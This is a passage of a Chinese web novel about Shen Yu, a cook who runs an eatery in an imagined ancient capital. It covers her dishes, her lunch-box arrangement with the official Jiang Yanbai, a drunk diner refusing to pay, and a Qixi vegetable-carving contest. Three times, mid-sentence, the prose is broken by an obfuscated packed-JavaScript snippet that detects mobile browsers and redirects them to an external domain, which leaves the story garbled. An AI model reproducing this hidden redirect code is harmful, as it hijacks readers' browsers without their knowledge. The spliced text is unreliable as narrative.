见沈鱼如此说，崔四顺势搬了个小杌子在一旁坐着，“不用旁的就这碗酱，我都能吃三碗饭。” 沈鱼舒展眉眼笑了，手上活计不停，排骨被均匀的染上鲜酱色，要先腌上一个时辰。 阿莓忙着烧火，崔四也不好干坐着，但又没别的活干，只能和她抢活，眼见两人又要掐起来。 沈鱼连忙喊了崔四过来，让他把买来的小米碾碎。 小米是一早就浸泡下的，沈鱼让他不要用力，轻轻碾几下就行。 腌制好了的排骨，裹上金黄的小米，整齐的金黄块摆在盘上，就已经很诱人了。 接下来只需上锅蒸熟，便成了。 沈鱼早买了两个大蒸笼，本来是给阿莓蒸包子的。 蒸笼冒着热气，崔四与阿莓便围着灶台转，米香混着肉香，沁人心脾，直把人的馋虫往外勾。 崔四眼睛盯着蒸笼，“这要是搬门口那个灶台上，还不得勾着一大片人。” 蒸肉是个耐心活，这类大菜，在饭馆里都得是先做个半成品，客人来了即时蒸上。若在后世，玩上两个小时游戏也就过去了，如今只能干等着，确实有些难捱。 崔四和阿莓却不这么觉得，眼神直勾勾地盯着蒸笼也不嫌累，每稍过些许时辰便来问一声好了没有，颇像两个等着投喂的娃儿。 等到终于好了，那蒸笼一掀开，热气腾得一下冒出了，整个院子都笼罩着排骨香。 小米蒸了不变色，反而更亮了，金黄色的小块摆在雪白的盘子里，还滋滋冒着热气。 待沈鱼点了头，两人才争先恐后地夹了一筷子。 沈鱼的小心烫还没说出口，两人就已经张开了嘴，嘶哈着吐热气了。 上锅蒸了后，那排骨里的汁水被全素逼了出来，但因裹着小米再出不来了，又反浸入了肉中，汁水甚多。 炖了一个时辰，排骨软糯脱骨，不需费什么劲便咬了下来，肉蒸得软烂，老少皆怡。 两人没多久就吃完了一盘。 崔四回去时天色已暮，沈鱼送他出门，给了个灯笼又塞给他一个食盒。 崔四眼眶发热，从前哪里能想到能找到这么好一个活计，有这么好的掌柜呢。 沈鱼纳闷，这送个人还送哭了是什么说法？ 其实崔四年纪也才十八，放现代也就一个上大学的年纪，沈鱼一直把他当弟弟看。 “掌柜快别送了，夜风吹着凉。”他心头感动，又觉得在人前哭了丢人，慌不择言。 一阵暖风吹过，沈鱼也不戳穿他，笑着与他道别。 日暮四合，月朗星稀，今日是十五，月亮圆滚滚地挂在天边，洒下无边月华。 “沈娘子。”这声音清澈如山泉。 沈鱼手扶着门框，江砚白乘着月色而来，修长的手指握着灯笼把，显得这破旧的灯笼都有些矜贵。 沈鱼笑起来，随意打了声招呼，“江少卿这么晚呀，用了夕食没有？” 沈鱼发誓，她真的是随口一问，没有别的意思。 江砚白摇摇头，“还未曾，不知沈娘子的食肆可关门了？” 沈鱼愣了一下，似乎是没想到他会这么问，“没有。”这么晚了，除了青楼酒肆怕是没有食肆开到这个时辰的。 但对着江砚白，别说她还没睡，就是睡着了也得从床上爬起来给他做饭。 阿莓收拾完了碗筷，疑惑地看着进来的江砚白，正要说已经打烊了，却瞥见沈鱼让她退下的手势。 “江少卿想要吃些什么？” 江砚白知道进来已经是沈鱼例外，不想再麻烦她，“不拘什么，随意做些吧。” “江少卿稍坐。” 本就多蒸了些排骨，热上一热便算一道菜，虽然口感没刚做出来时好吃，也算可口。 灶上熬着小米粥，还没熄火，差不多已经好了。沈鱼热了锅，打了两个鸡蛋，又烫了些小白菜倒些醋与热油一拌，炒鸡蛋和醋溜白菜就成了。 沈鱼又盛了碗小米粥，三菜一粥给江砚白送去。 “有些晚了，江少卿凑合吃些吧。” 江砚白淡笑，这可不算凑合。 醋溜白菜很入味，沈鱼放了足量的醋，江砚白舌尖微酸，笑意更浓。 【满意值+2000】 虽说江砚白的满意值向来都高，这次还是高出了新高度。 沈鱼后悔方才没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981882|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多做些。 “这小米粥熬的极好，水米融洽，软滑香腻。见米不见水，见水不见米，都非粥也。”江砚白端着碗，调羹在粥中搅动。① 沈鱼微微睁大双眼，“想不到江少卿对吃还有些研究。” 江砚白眼里闪过一丝苦涩，想当初他未中毒时，也算半个老饕，说得出坊内哪个酒肆最好，哪家酒楼的招牌菜名副其实。 只是失了味觉后，吃什么都是一样，便不计较了。 他夸沈鱼也非是恭维，越简单的菜越能显示出厨子的功底来，仅这一门熬粥的手艺，沈鱼便可开个粥铺了。 沈鱼却嫌小米粥不够味，“到底简单了些。” 见识过后世各种各样粥的沈鱼，自然不觉得这有什么。 她有次去旅游，吃过一回当地的海鲜粥，虾仁、鱿鱼、海参、蟹脚都在一碗粥里，米粒吸足了各类海鲜的精华，那一入口舌头都要鲜掉，才叫一个香！ 小米粥解腻最好，单吃还是差了些，都不如皮蛋瘦肉粥。 江砚白夹了一块蒸排骨，排骨软糯，撕咬下来并不费劲，就是外边的小米有些软了，大概因为不是第一次蒸的缘故，即便口感差了些，味道也是极好。 “这道菜从前未见过，是新菜？”江砚白用餐很是赏心悦目，慢条斯理，仪态端方。 沈鱼点头，“是呢，明日才上菜牌，江少卿可吃了个新鲜。” “这道菜叫什么？” 问及此，沈鱼还真没想好，老实说了俗名，“小米炖排骨。” 时下人用餐不仅要吃得好，还要吃得雅，像百味楼这般的大酒楼，菜名便都是些清风送爽，月中丹桂，就连红烧鸭屁股都起了个朝天阙这样的文雅名字。 沈鱼这肚里实在没几分墨水，干脆求助江砚白，“不若江少卿赐个名，这顿饭就不收您钱了。” 沈鱼打着如意算盘，江砚白吃饱了，心情不错，“我听闻江南那边有道碎金饭，色似炸金，这排骨也有异曲同工之妙，不如借个名头，碎金排骨如何？” 沈鱼一拍手，“妙哉妙哉。”这有文化的人，起名就是不一样呀。 江砚白用完饭并未离开，说出了此行之来意。他既知沈鱼做的菜能治好他的病，哪有不吃之理。 “沈娘子，我想定些饭食，却有些要求。” “江少卿请说？” 江砚白娓娓道来，“可否每日我上衙时，替我备上一个食盒，菜色沈娘子随意便好，为期一月，这是定银。” 江砚白拿出一个银锭子来，足有十两重。 沈鱼喜出望外，“江少卿可是吃不惯大理寺堂食？” 这是主动送上门来啊！ “嗯……”他这理由不能为外人道，只能让那大理寺庖厨委屈些了。 “那为何不午休时辰来？或者午间我让崔四送去也行，就不必劳烦江少卿亲自拿了。” 江砚白拒绝了，“不妥，不麻烦的。” 如今大齐国富民强，可难免还是有人吃不饱饭，圣上仁德，下令开源节流，官员们连吃上一顿饭有几个菜都规定了。 他身为大理寺少卿，更当以身作则，不好让人知道每日从食肆定了饭食，这样确有些奢靡了，可江砚白又不能明说是为了治病。 沈鱼不再追问，反正都是江砚白吃的，问那么清楚做什么，万一没了这桩生意，那就得不偿失了。 14. 麻烦上门 沈鱼开了食肆后便不再卖糯米饭团了，从前是小摊自然只能起早，有了遮蔽处卖饭食，便午间开门了，早上也能睡个好觉。 江砚白这么一来，沈鱼懒觉就没了，不过为着满意值，早点起算什么，且古时晚间娱乐少，早些睡也就是了。 江砚白提着食盒进了大理寺，迎面碰见个同僚。 “江少卿又从家里带午食啊？” 江砚白不着痕迹扯开话题，“宋评事，昨日那犯人口供还在你那吗？” 宋评事被引开注意，“在的，少卿有用……” 早上准备好的吃食，放到午间肯定是冷了的，若从家里带了饭食午间交给大理寺的庖厨热上一热也就好了。 所以沈鱼准备的大多都是半成品，热一热才可以吃。 今日是白切鸡，油焖茄子和盐卤豆花，白切鸡还配了蘸料，用了个小瓷瓶封了口装在食盒里。 蒸好的白切鸡鲜嫩多汁，且是刚刚熟透的那种状态，连着鸡骨头那里仔细看还能看见红血丝。 当年初尝这菜时，江砚白还以为没有熟透，掌柜来了才解释，就是要这样的状态才好，鸡肉嫩如豆腐，又有肉的韧劲。 那掌柜还说，白切鸡是最完全保留了鸡肉原汁原味的做法，除了火候重点便在这选鸡上，定要养成日子在一百天左右的阉鸡，这种鸡的肉质不老且鲜香十足。 时隔多年，再次吃到这鸡，江砚白颇有些感慨。 黎辞舟又端着碗来蹭饭了。 旁人都当他这菜是自家庖厨做的，也唯有黎辞舟知道真相。沈鱼给他送饭已有一月有余，黎辞舟自有一日发现了，便大大咧咧端着碗来了。 “今日这菜色不错，但我还是更喜欢昨天的糖醋排骨，改日定要去沈记点上一道，沈掌柜如今的手艺可是越来越好了。”黎辞舟咂摸着筷子。 江砚白朗声道，“打秋风的就不必这么多话了。” 黎辞舟脸皮厚得很，习惯了江砚白的语言攻击，“谁让你这里能吃到时新菜色呢。” 黎辞舟来蹭了两日饭后便发现了此规律，沈鱼已送了一月的菜，每日两三道菜，红煨猪肉，地三鲜，凉拌莴苣丝，蒜蓉粉丝虾，排骨山淮汤，黄芽菜炒鸡……几乎是没重样的，而往往过后不久，这些菜都会出现在沈记的菜牌上。 自那碗鱼汤面之后，黎辞舟便成了个“沈吹”，总在大理寺中夸赞沈记的菜，倒是为沈鱼招徕了不少客户。 黎辞舟吃了口盐卤豆花，满口豆香在嘴中蔓延，“砚白啊砚白，菜品美味倒是其次的，这用的心思可不是一星半点儿呀，沈掌柜赚你这十两银子，可是不容易呀？” 其实哪用得着他提醒，聪慧如江砚白，自然察觉了这不同寻常的心思，男女之事不像破案自有章程。 实话说江砚白确实不知该如何处理，只能使出个拖字决，又多给了个十两银钱。 沈鱼可不知道闹出了这么大误会，每日都有三千多满意值进账，是以看江砚白的眼神越发像看个聚宝盆。 沈鱼正忙着盘店铺。沈记“碎金排骨”已初有了些名声，慕名而来的也越来越多，自家那个店面实在有些不够用。 正巧隔壁卖胡饼的许老丈夫妇要卖屋子，许家儿子在外经商，前些日子来信，说是给二老新添了个孙儿。两老夫妻一合计，开了大半辈子店，劳碌了一辈子，也是时候颐养天年了。 就应了儿子的请求，将他们接去江临，也过过含饴弄孙的日子。 沈鱼自然不能放过这个机会，可连着地皮加店铺，没有五六百两是下不来的。沈鱼有些犯难，她手上实在没有这么多现银，筹措了许久也只得了二百两。 这里虽不是开商铺的旺地，但地皮也是很抢手的，许家人三日后就要走了，沈鱼实在不想错过这么好的机会。 沈鱼做了些糕点，敲开了许家的门。 许老丈是个很和善的人，“沈小娘子来了。” 沈鱼语气亲昵，“许伯，我今日来，是为了铺子。” 许老丈也不难猜出她的来意，开门见山地问，“不知沈小娘子打算出多少银钱呢？” 沈鱼是带着诚意来的，也老实说了，“许伯，您也知道，我这食肆才开了不久，铺子加地皮我是实在拿不出那么多银钱的……” 沈鱼接下来的话还没出口，就被许老丈打断，“忘了与沈小娘子说，我这地皮已经卖了。” 这事沈鱼倒真是不知，卖屋的中人没有与她说，“卖地皮的人没有买铺子吗？” 一般买了地皮便不会差买铺子的几个钱了，毕竟值钱的是地皮，这光要地皮不要铺子的也算少数。 她运道这么好吗？ 许老丈解释道，“那位买主说是一时拿不出这么多现银，让我容他几日。但买主也说了，若是有旁人来买，便算他与这铺子无缘。” 沈鱼忙与许老丈商议铺子的价格，最后以八十两的价钱买下了铺子。 两厢过了文契，这便算是定下了。 沈鱼心情颇好，哼起了小调，回了沈记，崔四见掌柜满脸笑意，便知这事成了。 于是歇业两天，装修铺子，两家铺子本就紧挨，只需打破了墙开出个门来，便算通了。许家的铺子是做胡饼的，墙体经年累月的烟熏火燎有些黑了，沈鱼便找来了匠人重新粉刷了。 其他便没怎么大动，沈鱼撤了原先的竹帘，加在了两边连通的门上，许家的铺子位置比她这间更好，沈鱼就把打算把那边改成雅间。 她这食肆从前定位的是中端消费，沈鱼觉得是时候把档次往上提一提了，变成中高端消费。 这儿离大理寺近，时不时有些穿着官服的来吃饭，有官员自然少不了武侯，只是武侯们成群结队的来了，看见自己的顶头上司在里面，这吃饭的心思顿时少了些，这一隔开了，便少了很多麻烦。 但这麻烦，不是想避就能避开的。 有食自然不能少了酒，俗话说这大块吃肉，大口喝酒才是人间乐事。 只是有人灌多了黄汤，手脚就不听使唤了。 靠边这桌坐了个大胡子，点了一桌的好菜，吃饱喝足腆着肚子，站起来时摇摇晃晃打着摆子。 崔四把人扶稳，“客官呈惠二钱银子。” 大胡子迷迷糊糊地去摸钱袋，把钱袋里的铜板全倒在了桌上，响起一阵“叮叮当当”的铜钱碰撞声。 崔四不用看都知道不够，“客官这些可不够呀？” 那大胡子许是喝多了，脑袋有些不清醒，“你这小二莫要诓我，已给了你十几两银子了，让开。” 大胡子推搡了下崔四，用了些力气，他身形魁梧，崔四那小身板那经得住他这么一推，崔四被推了个趔趄，登时就沉下了脸，“呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981883|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，来沈记吃白饭了，阿莓！” 阿莓立刻站在了门前拦着大胡子的去路，两个人平时喜欢互掐，但到了一致对外的时候还是很团结的。 阿莓张开双臂，做出阻拦的架势，“给钱。” 大胡子眯着眼睛看了一眼，想推开阿莓，“哪里来的下贱昆仑奴，还敢拦着大爷的路！” 这么大的动静，沈鱼也从后厨出来了，刚巧听见大胡子骂的那句话，吃白食她不生气，可骂阿莓就不行了。 用得起昆仑奴是富贵的象征，但昆仑奴本身却是被歧视的，矛盾又可笑，沈鱼不喜欢这样。 沈鱼放言，“把人给我拦住了，不给钱就送官府，反正大理寺近得很。” 大胡子喝多了酒，反应有些慢，听懂了后嚣张地说，“本大爷有的是钱，把你这小店盘下来都不是问题！” 崔四冷笑，“那您倒是给呀。” 大胡子又摸了摸身上，没摸出什么来，有些愣了，嘴里还喃喃道，“我的银子呢？” 崔四插着腰，神气又有些使坏，“呦，别是被偷儿偷了吧。” 众人闻言，一阵嗤笑声响起。 一队巡街的武侯远远过来了，沈鱼看见个熟人，“小杨，这里来了个吃霸王餐的，快些将人带走。” 小杨穿着士兵服，腰间挎着官刀，“哪儿呢？” 崔四指向那个大胡子，“就是那人。” 小杨走到大胡子身边，摆开架势，语气严厉，“是你要吃霸王餐啊？” 看见小杨的武侯衣服，大胡子清醒了些，拱着手道，“官爷莫要听人胡说，小人……小人只是没带够银子。” 变脸之快速让人咋舌。 有人撑腰，崔四继续输出，“方才可不是这么说的呀，大爷！” 大胡子气得牙根痒痒偏又拿他没办法，掏了掏袖口，摸出一个小小的金镯子来，“这个可抵饭钱吧。” 小杨拿过递给了沈鱼，“沈掌柜，您看这个可以吗？” 小金镯圈口很小，应该是孩子戴的，内侧还刻了个繁体小字，沈鱼不认得，且色泽鲜亮，看样子是真金。 沈鱼掂量了一下足有二三十克重，足够了，还多的很。 “可以。” 大胡子又道，“就先押在掌柜这儿，我明日拿银子来赎。”说完大胡子便想走。 “等等。”沈鱼出声阻拦。 “你方才辱骂我家阿莓，还未道歉？” 大胡子看了一眼阿莓，脸色有些不悦，“这不太妥吧。” “若是不愿……镯子拿走。”沈鱼手一伸，又对小杨说，“小杨，你把人带走。” 小杨很捧场，上来就要拿人，“得嘞。” 大胡子见状不妙，好汉不吃眼前亏，只得乖乖道了歉。 阿莓被道了歉，有些怔怔的，虽被沈鱼买下了，吃饱穿暖，可总觉得自己是低人一等的。 所以客人的冷眼，歧视她向来没当回事，可沈鱼却那么在意，只有在这时候，她才觉得，自己是和大家一样的人。 阿莓笑了，露出一排大白牙，“谢谢你，小鱼。” 她不喜欢管沈鱼叫掌柜，总觉得太生疏，沈鱼就让她喊名字了。 沈鱼当初是这么说的，“我的朋友都叫我小鱼，你也这么叫好了。” 她们是朋友，她们是平等的。 16. 七夕斗巧（一） 入了七月，天热得就越发不加掩饰了，门前的老槐树使了劲地舒展叶子，也只得到一些树荫。 七月七，当乞巧。沈鱼还不懂事时，有位大姐姐认真的说，七月七晚上在葡萄架下，可以看见牛郎织女相会，她天真的去了，熬到夜里睡着了，还是被人抱回来的。 传统习俗中乞巧形式也有许多种，如喜蛛应巧，穿针乞巧，头针应巧，蓝夜斗巧，吃食也有巧果，五子，江米条等。 不过后世已经将七夕演变成了情人节，红玫瑰才是王道，巧果却不多见了，是以沈鱼对此不大了解。 巧果不会做，花糕却是会的。 沈鱼提前去木匠哪里定制了许多花样子的模具，牡丹，芙蓉，桃花，樱花，各式花朵应有尽有。 七月也是吃桂花的好时节，沈鱼两厢结合，做了个各色花样子的桂花糕。 只见沈鱼将粘米粉糯米粉，白糖水，猪油混合，接着把它抓成沙子状态，再倒入石臼中，研磨成细细的粉末。 粉末倒入模具内，表面抹平，撒上桂花碎便可上蒸锅蒸了。 邓氏在旁边看得稀奇，这道点心不难，沈鱼便叫了她一同学一学。 “掌柜会的真多，从前的桂花糕，没这般做法的。” 这恭维过了头，沈鱼可不敢邀功，随口道，“哪里是没有，只是人家都捂着方子，不让外人知道罢了。” 邓氏才反应过来自己占了大便宜，话都说不清了，“这……这……您把方子告诉我，合适吗？” 这年头教授厨艺多数都是拜师磕头，有了师徒名分，才教徒弟秘方。邓氏白得了秘方，自然是惶恐的。 “邓嫂子不必如此，要是不合适，我也不会把您叫来。” 趁着蒸桂花糕的时辰，沈鱼揉起蜜桃糕的面团了，蜜桃到此时已经不应时节了，也就大户人家的冰窖里还有些剩的。 不过沈鱼有系统，那都不算事。 蜜桃糕其实就是粉色含了桃子馅的糯米糍，蜜桃酱是三天前就糖渍了的，如今正好拿出来用。 糯米糍的皮子好做，就是揉面废功夫，要揉出手套膜来，邓氏自告奋勇，沈鱼也就让她上手了。看着简单，上手才知道这里面有门道，邓氏先前不得要领，白费了许多力气，经过沈鱼指点，才渐渐找到了门路。 煮了桃子皮上色，面团变成了粉嫩嫩的，揉出来的糯米糍也是胖胖的，沈鱼用牙签在中间压上一条印子，就成了个粉胖浑圆的蜜桃屁屁。 邓氏噗呲一笑，“模样还怪有趣的。” 两人一起上手，不一会儿案上就摆满了各样花糕和糯米糍。 今日出门的小娘子格外多，三俩成群的，看见这模样可人的花糕和糯米糍，忍不住驻足。 邓氏嫁过一回，早没了那些少女心思，沈鱼可还年轻的很，“掌柜可要去百味楼前斗巧？您这手艺定能夺魁。” 百味楼斗巧已经办了许多年了，所谓斗巧，便是让小娘子用雕刻刀把菱藕雕刻成各色样式，或花鸟，或鱼虫，总之想刻什么刻什么。 菱藕娇嫩易碎，在菱藕上雕刻更是细致功夫，比的就是一个手巧。 百味楼会在门前摆擂台，届时自觉手巧的小娘子可自行报名，经过评定选出魁首，会得到百味楼出资的头等彩头，其余小娘子也送上些精美巧果。 有热闹沈鱼是想凑的，但斗巧还是算了吧，“做糕点与雕刻可不同，我还是不去献丑了。” 在菱藕上雕刻她还真没试过，用萝卜雕花她倒是会。 “这刻好的东西，便用来送给相好的小郎君……”邓氏还在说着。 沈鱼却已经歪了重点，“菱藕刻的，能存几日呀？还是煮熟吃了好。” 邓氏笑骂她不解风情。 沈鱼吐了吐舌头，没办法嘛，她一向是务实主义者，菱藕不吃拿来雕刻，实在是浪费！ 花糕很受孩子和小娘子的喜欢，天还没擦黑，糕点就卖完了。 阿莓没见过斗巧，央着沈鱼带她去看看，是以夕食都吃得飞快。 崔四总要刺上几句，“你可看看就好，别上去吧人家案台子戳坏了。”又惹得阿莓一顿打。 到了晚间，夕阳洒下余晖，将天边的云霞都染成了亮灿灿的金红色。 阿莓兴致勃勃，沈鱼没怎么逛过古代夜市，也好奇着。 百味楼所在的那条街，已是人潮涌动，小娘子们穿红着绿，卯足了劲打扮自己，平日里不舍得穿的衣裳，心爱的花簪全拿了出来，要斗巧，可不能先输了架势。 卖糖葫芦的，卖小糖人，糖画的小贩，人多的地方总少不了他们的身影。 沈鱼买了两个糖葫芦，给了阿莓一个。沈鱼咬了一口，糖衣不脆，山楂不新鲜，应该是隔夜的，瞥见旁边的阿莓也是皱了皱眉，这些天来都把她舌头养刁了，吃的出好歹来了。 但到底是用钱买的，阿莓还是全吃完了。沈鱼吃了两个就有些腻了，便吃不下；剩余的塞给了阿莓。 百味楼门前有一大片空地，此时已摆开了架势，用五色彩绳隔了出来，空地里头摆了十几张案台，每个案台上有一盏宫灯和雕刻工具。 斗巧需得等到没了天光，仅靠着案台上宫灯的照亮，更考验眼力，若是菱藕被雕刻坏了，便要下场换她人上来。 所以这每年的魁首，都是有着手上真本事的，耐心，眼力和技巧，缺一不可。 斗巧是万民同乐，有寻常人家的女子当然也不乏高官贵女，去年的“巧魁”便是工部侍郎之女杜引香。 观斗巧的最佳地点，当然是百味楼的二楼，这便是百味楼承办着斗巧大赛的原因了，今日二楼的位置可不便宜。 出来玩自然要尽兴，但沈鱼问了一嘴二楼的位置后，想想还是算了，连最差的位置都要十两，买不起，买不起。 最后在一楼找了个不错的角度才坐定，一楼大多是待会儿要下场的小娘子在休息或做准备。 有位着桃花石榴裙的少女饮了口茶，“听闻杜家那位今年不来，那董六你可有机会了，可要恭喜了。” 这话怎么听都不是真心祝愿，董六娘子脸色不愉，“便是她来了，今年的魁首也是我的。” 去年若非最后时分吹来一阵风，她被风沙迷了眼睛，刻坏了马儿的一条腿，魁首又怎会落到杜引香头上。 桃花石榴裙少女显然不怀好意，“是吗？我听说上月董府到处再买菱藕，想必是供董六你练手用的，花了这许多银钱，该是拿个魁首回去的。” 菱藕长在水里，盛产于江南水乡，盛京也唯有百味楼这般的大酒楼能再这个时节弄来几斤。 为着斗巧练上许久不稀奇，旁人用的大多是萝卜或者泥胚，拿菱藕来练便是有些作弊的意味了。 董六被戳中软肋，脸上有些发热，羞恼起来，“你……” 旁边一个拿着象牙柄团扇的少女打起圆场来，对石榴裙少女说，“哎呀，用菱藕练，也是人董家愿意，轮得到你在这里说嘴。” 团扇少女对着董六道歉，弯眉笑道，“十四娘还小，不懂事，董妹妹可千万莫于她计较。” 董六心中仍是有些不快，可那又能怎样，人家都道歉了，再计较倒是显得她没肚量了。 沈鱼点了壶清茶喝着，看这些大家小姐“唱戏”，可比斗巧有意思。 沈鱼的位置离门口有些远，有个花盆挡住了她的视线，不知有谁进来了，一楼的这些贵女们忽然都正襟危坐起来。 江砚白信步而来，远天蓝色长袍披身，身姿绰约，低眉垂眼间流露出些无意的风流来。 他无端进来，惹得闺秀一阵热切， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981885|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压低了声音细语。 “是江少卿！” “当真是他，他怎会来，不知是来看谁？” 悉悉索索间，又一人进来了，来人是位女子，穿了身丁香色襦裙，这人的到来又掀起一阵讨论。 尤其是董六，脸色已经开始发青。 “杜引香！不是说不来吗？” “谁知道呢，人家想来，也拦不住呀。”这话还是那十四娘说的，她此刻笑意盈盈，一副看好戏的模样。 董六却没空与她计较，扶了扶鬓边的钗环，朝着江砚白去了。 沈鱼侧了侧身子，预备看戏，其实她也很好奇，这江砚白这般年纪，怎么还未娶妻？ 董六柔柔过去见礼，“见过江少卿。” 江砚白显然没认出人来，眼中带着有些疑惑，还是董六身旁的婢子开口，“我家娘子姓董。” 江砚白微微颔首。 董六也不气馁，声音软得能掐出水，模样好不委屈，“今日来斗巧的甚多，杜娘子也来了，我也不知道能不能拿到魁首。” 江砚白瞥了她一眼，“技不如人，自当认输。” 董六显然没想到他这么不解风情，满肚准备好的话哽在了喉头。 沈鱼看了全程，差点喷茶，她好像知道江砚白为什么还是单身了。 董六也未纠缠江砚白多久，因为斗巧正式开始了。 百味楼掌柜在门口敲了锣，“斗巧大赛正式开始！夺得魁首的娘子百味楼会送出珍宝阁的红宝石金簪一支。”珍宝阁是盛京最大的首饰铺子。 掌柜手里拿着簪盒，红宝石在月光的照耀下熠熠生辉，不为别的，就为这支金簪，也得卯足了劲斗。 娘子小姐们便鱼贯入了场，雕刻的时间是一炷香，上场的场次是抽签决定的，很公平。 董六一马当先，回首看了看周围，却不见杜引香身影。 杜引香在百味楼未出来，她前些日子伤了手，本就没打算上场，只是来看看罢了。 百味楼一楼霎时间空旷许多，没了人群的遮挡，江砚白很容易就看见了正在喝茶的沈鱼。 沈鱼也朝他看过来，两人视线相撞，沈鱼大大方方打招呼，江砚白却有些不可名状的紧张。 今日是七夕…… 母亲莫名其妙的要吃百味楼的巧果，然后他就被赶出来买了。江砚白哪能不知道周氏的心思，醉翁之意不在酒。 百味楼今日斗巧，聚集了不少贵女，要是能碰上一个把菱藕送他的，可算是合了周氏的意。 他索性在这儿多待会儿，也省的回去听念叨。 沈鱼站在那儿没有下场的意思，江砚白说不上庆幸还是失望，心里透着股别扭。 一炷香的时间不长也不短，很快比完三组，其中不乏刻断了，出错了，或是时间到了没完成的，三组过去，摆成品的案台上才十余个能看的。 比完了三组，第四组时便不太有人了，案台上没怎么坐满，掌柜高声喊着，“还有没有想参赛的娘子，快上台去呀，魁首可是能得珍宝阁的金钗呢。” 掌柜又喊了两便，才总算有个穿了布裙的小娘子上去了，敲锣开始。 “没意思。”阿莓捧着脸说了句，打了个长长的哈欠，困了。 沈鱼揉了把她的脸，“都是寻常人，看个热闹罢了。”若是雕刻大师比赛，那才好看呢。 “沈娘子以为，谁会夺魁？”江砚白不知何时走了过来。 沈鱼凝望着那边案台，不出意外的话，这组便是最后一组了，魁首也将决出，“董六娘的骏马不错。” 董六娘确有几分手艺，菱藕雕了只飞驰骏马，骏马扬蹄欲奔，算是完成度很高的了。 “但，我觉得她会胜出。”沈鱼遥遥一指，指向的正是那位最后上来的布裙姑娘。 17. 七夕斗巧（二） 那布裙姑娘手握刻刀，下刀速度飞快，约莫只过去了半炷香，她便快做完了。 江砚白也看出了些端倪，那女子手上有些细小的伤痕，食指有硬茧，正是常年累月拿雕刻刀所致。 江砚白微笑，“术业有专攻。” 沈鱼也点点头，专业的就是不能比，董六的美梦怕是要落空。 几息后，布裙少女的作品就完成了，一只栩栩如生的小雀儿，连背上羽毛都清晰可见纹路，只是可惜雀儿的一只翅膀却断了。 想来少女是刻惯了木头，不熟悉菱藕的状态，有一刀没掌握好力道，刻断了翅膀，索性做成断翅，这及时的补救，也算是神来之笔吧。 百味楼请来评审各位娘子作品的共有两位，一位是百味楼主厨唐师傅，一位是书画大儒楚相公。 楚相公原是两朝元老，历经多年宦海浮沉，年轻时就颇有才名，几年前致仕醉心书画，自号醉端，世称一生醉端先生。 显然，这魁首之争，便是飞驰骏马与断翅小雀之争了。 唐师傅喜欢骏马，“飞驰之势极好，且品态完整。” 楚相公更喜欢小雀，“毛羽细致，神形兼备。” 两人一时相争不下，掌柜也没了办法，金钗只有一支，不能有两个魁首呀。 唐师傅与楚相公又争论许久，掌柜急得直冒汗，赶紧进屋来坐坐，一眼就看见了江砚白。 像是看到了救星，掌柜向江砚白作揖道，“还请江少卿救我一救，当个审评。” 其实从前也是有三位审评的，只是今年还有一位老相公上了年纪，所以不来了，百味楼一时也没寻到合适的人，这才发生了尴尬场面。江砚白当年可是新科状元，如今又是大理寺少卿，身份正合适。 掌柜这请求说的大声，不少人都看了过来，江砚白也不好推辞，便应下了。 江砚白走到案台前，在两个成品前各端详了些许时辰。众人的心也被这么提着，都在等着他定夺。 同时更忐忑的当然是董六和那个布裙少女了，董六攥紧了绣帕，既激动又开心，她自觉技艺高超，魁首已是囊中之物，那只断了翅的小雀凭什么与她相比。 相比之下小雀的主人，尹小婉心情要平静许多，本也只是想试一试，得到了魁首自然好，若是没有，再想别的办法就是。 江砚白来回踱步许久，阿莓的瞌睡都被他赶走了些，站起来眺望，“小鱼，他会选谁呀。” 沈鱼摇摇头，表示她也不知道，江砚白的心思，不好猜呀！ 那厢江砚白终于做了决定，朗声道，“我选小雀。” 掌柜立即宣布，拉了旁边的尹小婉，“今年的魁首是这位娘子，小娘子姓什么？” “我姓尹。”尹小婉舒展了笑容。 “巧魁是尹娘子。”掌柜把象征魁首的金钗交给了她。 尹小婉抱着簪盒，喜极而泣，大哥的伤有希望了！ 唐师傅早在江砚白开口后就沉下了脸，气呼呼地回屋了。老楚相公笑眯眯地捋着胡子，走过来道，“砚白还是有眼光的。” 江砚白行了个叉手礼，“楚相公。” “老夫还有事，先走了。”老楚相公上了年纪，坐了许久也有些累了，回家休息去了。 品评完了的菱藕由各家小娘子自行拿回，董六去拿回自己的菱藕时，眼中含泪，幽怨地看了眼江砚白，没想到在他心里，自己竟然没有半分地位！决绝地离开了。 江砚白觉得莫名其妙。 沈鱼将此情此景尽收眼底，忍俊不禁，这不解风情的江少卿，惹得董娘子可是芳心尽碎呀！ 江砚白不明所以，沈鱼怎么笑得那么奇怪，“嗯？” 